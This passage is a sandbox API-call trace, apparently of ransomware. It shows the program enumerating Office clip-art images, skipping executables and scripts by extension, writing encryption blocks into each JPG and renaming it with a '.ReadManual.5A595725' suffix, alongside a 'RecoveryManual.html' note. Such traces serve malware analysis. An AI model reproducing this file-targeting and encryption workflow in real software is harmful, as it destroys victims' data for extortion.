out: lpNewFilePointer=0x0) returned 1 [0269.549] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0269.551] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0269.551] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xa75a) returned 0x2f0000 [0269.552] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0269.552] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39022078870) returned 1 [0269.552] CloseHandle (hObject=0x184) returned 1 [0269.552] SetSecurityInfo () returned 0x57 [0269.552] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0269.552] CloseHandle (hObject=0x194) returned 1 [0269.552] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x527d2500, ftCreationTime.dwHighDateTime=0x1c97bb5, ftLastAccessTime.dwLowDateTime=0x66188a70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x527d2500, ftLastWriteTime.dwHighDateTime=0x1c97bb5, nFileSizeHigh=0x0, nFileSizeLow=0x81ab, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0313970.JPG", cAlternateFileName="")) returned 1 [0269.552] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0313970.JPG" | out: lpString1="J0313970.JPG") returned="J0313970.JPG" [0269.552] lstrcmpiW (lpString1="J0313970.JPG", lpString2="RecoveryManual.html") returned -1 [0269.552] StrStrIW (lpFirst="J0313970.JPG", lpSrch=".ReadManual.5A595725") returned 0x0 [0269.552] StrCmpIW (psz1="JPG", psz2="exe") returned 1 [0269.552] StrCmpIW (psz1="JPG", psz2="dll") returned 1 [0269.553] StrCmpIW (psz1="JPG", psz2="sys") returned -1 [0269.553] StrCmpIW (psz1="JPG", psz2="msi") returned -1 [0269.553] StrCmpIW (psz1="JPG", psz2="mui") returned -1 [0269.553] StrCmpIW (psz1="JPG", psz2="inf") returned 1 [0269.553] StrCmpIW (psz1="JPG", psz2="cat") returned 1 [0269.553] StrCmpIW (psz1="JPG", psz2="bat") returned 1 [0269.553] StrCmpIW (psz1="JPG", psz2="cmd") returned 1 [0269.553] StrCmpIW (psz1="JPG", psz2="ps1") returned -1 [0269.553] StrCmpIW (psz1="JPG", psz2="vbs") returned -1 [0269.553] StrCmpIW (psz1="JPG", psz2="ttf") returned -1 [0269.553] StrCmpIW (psz1="JPG", psz2="fon") returned 1 [0269.553] StrCmpIW (psz1="JPG", psz2="lnk") returned -1 [0269.553] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0313970.JPG" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0313970.JPG") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0313970.JPG" [0269.553] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0313970.JPG", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0313970.JPG.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0313970.JPG.ReadManual.5A595725" [0269.553] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0313970.JPG.ReadManual.5A595725") returned 87 [0269.553] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39022410673) returned 1 [0269.555] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0313970.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0313970.jpg")) returned 0x20 [0269.556] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0313970.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0313970.jpg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0269.556] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=33195) returned 1 [0269.556] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x81ab, lpName=0x0) returned 0x184 [0269.556] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0269.557] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0269.557] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0269.559] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0269.559] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x81ab) returned 0x2f0000 [0269.560] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0269.560] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39022885042) returned 1 [0269.560] CloseHandle (hObject=0x184) returned 1 [0269.560] SetSecurityInfo () returned 0x57 [0269.560] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0269.560] CloseHandle (hObject=0x194) returned 1 [0269.560] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d07fb00, ftCreationTime.dwHighDateTime=0x1c97bb5, ftLastAccessTime.dwLowDateTime=0x5674c1b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3d07fb00, ftLastWriteTime.dwHighDateTime=0x1c97bb5, nFileSizeHigh=0x0, nFileSizeLow=0xb9d1, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0313974.JPG", cAlternateFileName="")) returned 1 [0269.560] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0313974.JPG" | out: lpString1="J0313974.JPG") returned="J0313974.JPG" [0269.560] lstrcmpiW (lpString1="J0313974.JPG", lpString2="RecoveryManual.html") returned -1 [0269.561] StrStrIW (lpFirst="J0313974.JPG", lpSrch=".ReadManual.5A595725") returned 0x0 [0269.561] StrCmpIW (psz1="JPG", psz2="exe") returned 1 [0269.561] StrCmpIW (psz1="JPG", psz2="dll") returned 1 [0269.561] StrCmpIW (psz1="JPG", psz2="sys") returned -1 [0269.561] StrCmpIW (psz1="JPG", psz2="msi") returned -1 [0269.561] StrCmpIW (psz1="JPG", psz2="mui") returned -1 [0269.561] StrCmpIW (psz1="JPG", psz2="inf") returned 1 [0269.561] StrCmpIW (psz1="JPG", psz2="cat") returned 1 [0269.561] StrCmpIW (psz1="JPG", psz2="bat") returned 1 [0269.561] StrCmpIW (psz1="JPG", psz2="cmd") returned 1 [0269.561] StrCmpIW (psz1="JPG", psz2="ps1") returned -1 [0269.561] StrCmpIW (psz1="JPG", psz2="vbs") returned -1 [0269.561] StrCmpIW (psz1="JPG", psz2="ttf") returned -1 [0269.561] StrCmpIW (psz1="JPG", psz2="fon") returned 1 [0269.561] StrCmpIW (psz1="JPG", psz2="lnk") returned -1 [0269.561] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0313974.JPG" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0313974.JPG") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0313974.JPG" [0269.561] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0313974.JPG", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0313974.JPG.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0313974.JPG.ReadManual.5A595725" [0269.561] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0313974.JPG.ReadManual.5A595725") returned 87 [0269.561] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39022988115) returned 1 [0269.561] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0313974.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0313974.jpg")) returned 0x20 [0269.561] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0313974.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0313974.jpg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0269.562] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=47569) returned 1 [0269.562] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xb9d1, lpName=0x0) returned 0x184 [0269.562] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0269.563] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0269.563] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0269.565] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0269.566] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xb9d1) returned 0x2f0000 [0269.567] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0269.567] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39023601177) returned 1 [0269.567] CloseHandle (hObject=0x184) returned 1 [0269.567] SetSecurityInfo () returned 0x57 [0269.567] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0269.567] CloseHandle (hObject=0x194) returned 1 [0269.568] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2feb0c00, ftCreationTime.dwHighDateTime=0x1c97bb5, ftLastAccessTime.dwLowDateTime=0x5674c1b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2feb0c00, ftLastWriteTime.dwHighDateTime=0x1c97bb5, nFileSizeHigh=0x0, nFileSizeLow=0x40f2, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0314068.JPG", cAlternateFileName="")) returned 1 [0269.568] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0314068.JPG" | out: lpString1="J0314068.JPG") returned="J0314068.JPG" [0269.568] lstrcmpiW (lpString1="J0314068.JPG", lpString2="RecoveryManual.html") returned -1 [0269.568] StrStrIW (lpFirst="J0314068.JPG", lpSrch=".ReadManual.5A595725") returned 0x0 [0269.568] StrCmpIW (psz1="JPG", psz2="exe") returned 1 [0269.568] StrCmpIW (psz1="JPG", psz2="dll") returned 1 [0269.568] StrCmpIW (psz1="JPG", psz2="sys") returned -1 [0269.568] StrCmpIW (psz1="JPG", psz2="msi") returned -1 [0269.568] StrCmpIW (psz1="JPG", psz2="mui") returned -1 [0269.568] StrCmpIW (psz1="JPG", psz2="inf") returned 1 [0269.568] StrCmpIW (psz1="JPG", psz2="cat") returned 1 [0269.568] StrCmpIW (psz1="JPG", psz2="bat") returned 1 [0269.568] StrCmpIW (psz1="JPG", psz2="cmd") returned 1 [0269.568] StrCmpIW (psz1="JPG", psz2="ps1") returned -1 [0269.568] StrCmpIW (psz1="JPG", psz2="vbs") returned -1 [0269.568] StrCmpIW (psz1="JPG", psz2="ttf") returned -1 [0269.568] StrCmpIW (psz1="JPG", psz2="fon") returned 1 [0269.568] StrCmpIW (psz1="JPG", psz2="lnk") returned -1 [0269.568] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0314068.JPG" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0314068.JPG") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0314068.JPG" [0269.568] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0314068.JPG", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0314068.JPG.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0314068.JPG.ReadManual.5A595725" [0269.568] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0314068.JPG.ReadManual.5A595725") returned 87 [0269.568] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39023699532) returned 1 [0269.568] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0314068.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0314068.jpg")) returned 0x20 [0269.569] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0314068.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0314068.jpg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0269.569] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=16626) returned 1 [0269.569] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x40f2, lpName=0x0) returned 0x184 [0269.569] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0269.570] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0269.570] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0269.572] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0269.572] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x40f2) returned 0x2f0000 [0269.573] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0269.573] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39024159192) returned 1 [0269.573] CloseHandle (hObject=0x184) returned 1 [0269.573] SetSecurityInfo () returned 0x57 [0269.573] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0269.573] CloseHandle (hObject=0x194) returned 1 [0269.573] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5674c1b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4b02, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0315580.JPG", cAlternateFileName="")) returned 1 [0269.573] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0315580.JPG" | out: lpString1="J0315580.JPG") returned="J0315580.JPG" [0269.573] lstrcmpiW (lpString1="J0315580.JPG", lpString2="RecoveryManual.html") returned -1 [0269.573] StrStrIW (lpFirst="J0315580.JPG", lpSrch=".ReadManual.5A595725") returned 0x0 [0269.573] StrCmpIW (psz1="JPG", psz2="exe") returned 1 [0269.573] StrCmpIW (psz1="JPG", psz2="dll") returned 1 [0269.573] StrCmpIW (psz1="JPG", psz2="sys") returned -1 [0269.573] StrCmpIW (psz1="JPG", psz2="msi") returned -1 [0269.573] StrCmpIW (psz1="JPG", psz2="mui") returned -1 [0269.573] StrCmpIW (psz1="JPG", psz2="inf") returned 1 [0269.573] StrCmpIW (psz1="JPG", psz2="cat") returned 1 [0269.573] StrCmpIW (psz1="JPG", psz2="bat") returned 1 [0269.574] StrCmpIW (psz1="JPG", psz2="cmd") returned 1 [0269.574] StrCmpIW (psz1="JPG", psz2="ps1") returned -1 [0269.574] StrCmpIW (psz1="JPG", psz2="vbs") returned -1 [0269.574] StrCmpIW (psz1="JPG", psz2="ttf") returned -1 [0269.574] StrCmpIW (psz1="JPG", psz2="fon") returned 1 [0269.574] StrCmpIW (psz1="JPG", psz2="lnk") returned -1 [0269.574] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0315580.JPG" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0315580.JPG") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0315580.JPG" [0269.574] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0315580.JPG", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0315580.JPG.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0315580.JPG.ReadManual.5A595725" [0269.574] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0315580.JPG.ReadManual.5A595725") returned 87 [0269.574] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39024269934) returned 1 [0269.574] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0315580.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0315580.jpg")) returned 0x20 [0269.574] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0315580.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0315580.jpg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0269.574] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=19202) returned 1 [0269.574] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4b02, lpName=0x0) returned 0x184 [0269.575] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0269.575] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0269.576] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0269.578] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0269.578] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4b02) returned 0x2f0000 [0269.578] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0269.578] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39024695043) returned 1 [0269.578] CloseHandle (hObject=0x184) returned 1 [0269.578] SetSecurityInfo () returned 0x57 [0269.578] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0269.578] CloseHandle (hObject=0x194) returned 1 [0269.578] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5674c1b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x423a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0315612.JPG", cAlternateFileName="")) returned 1 [0269.579] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0315612.JPG" | out: lpString1="J0315612.JPG") returned="J0315612.JPG" [0269.579] lstrcmpiW (lpString1="J0315612.JPG", lpString2="RecoveryManual.html") returned -1 [0269.579] StrStrIW (lpFirst="J0315612.JPG", lpSrch=".ReadManual.5A595725") returned 0x0 [0269.579] StrCmpIW (psz1="JPG", psz2="exe") returned 1 [0269.579] StrCmpIW (psz1="JPG", psz2="dll") returned 1 [0269.579] StrCmpIW (psz1="JPG", psz2="sys") returned -1 [0269.579] StrCmpIW (psz1="JPG", psz2="msi") returned -1 [0269.579] StrCmpIW (psz1="JPG", psz2="mui") returned -1 [0269.579] StrCmpIW (psz1="JPG", psz2="inf") returned 1 [0269.579] StrCmpIW (psz1="JPG", psz2="cat") returned 1 [0269.579] StrCmpIW (psz1="JPG", psz2="bat") returned 1 [0269.579] StrCmpIW (psz1="JPG", psz2="cmd") returned 1 [0269.579] StrCmpIW (psz1="JPG", psz2="ps1") returned -1 [0269.579] StrCmpIW (psz1="JPG", psz2="vbs") returned -1 [0269.579] StrCmpIW (psz1="JPG", psz2="ttf") returned -1 [0269.579] StrCmpIW (psz1="JPG", psz2="fon") returned 1 [0269.579] StrCmpIW (psz1="JPG", psz2="lnk") returned -1 [0269.579] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0315612.JPG" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0315612.JPG") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0315612.JPG" [0269.579] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0315612.JPG", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0315612.JPG.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0315612.JPG.ReadManual.5A595725" [0269.579] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0315612.JPG.ReadManual.5A595725") returned 87 [0269.579] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39024790826) returned 1 [0269.579] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0315612.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0315612.jpg")) returned 0x20 [0269.579] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0315612.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0315612.jpg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0269.580] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=16954) returned 1 [0269.580] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x423a, lpName=0x0) returned 0x184 [0269.580] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0269.581] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0269.581] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0269.583] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0269.583] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x423a) returned 0x2f0000 [0269.583] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0269.583] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39025196696) returned 1 [0269.583] CloseHandle (hObject=0x184) returned 1 [0269.583] SetSecurityInfo () returned 0x57 [0269.583] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0269.583] CloseHandle (hObject=0x194) returned 1 [0269.584] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5674c1b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4180, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0318448.WMF", cAlternateFileName="")) returned 1 [0269.584] 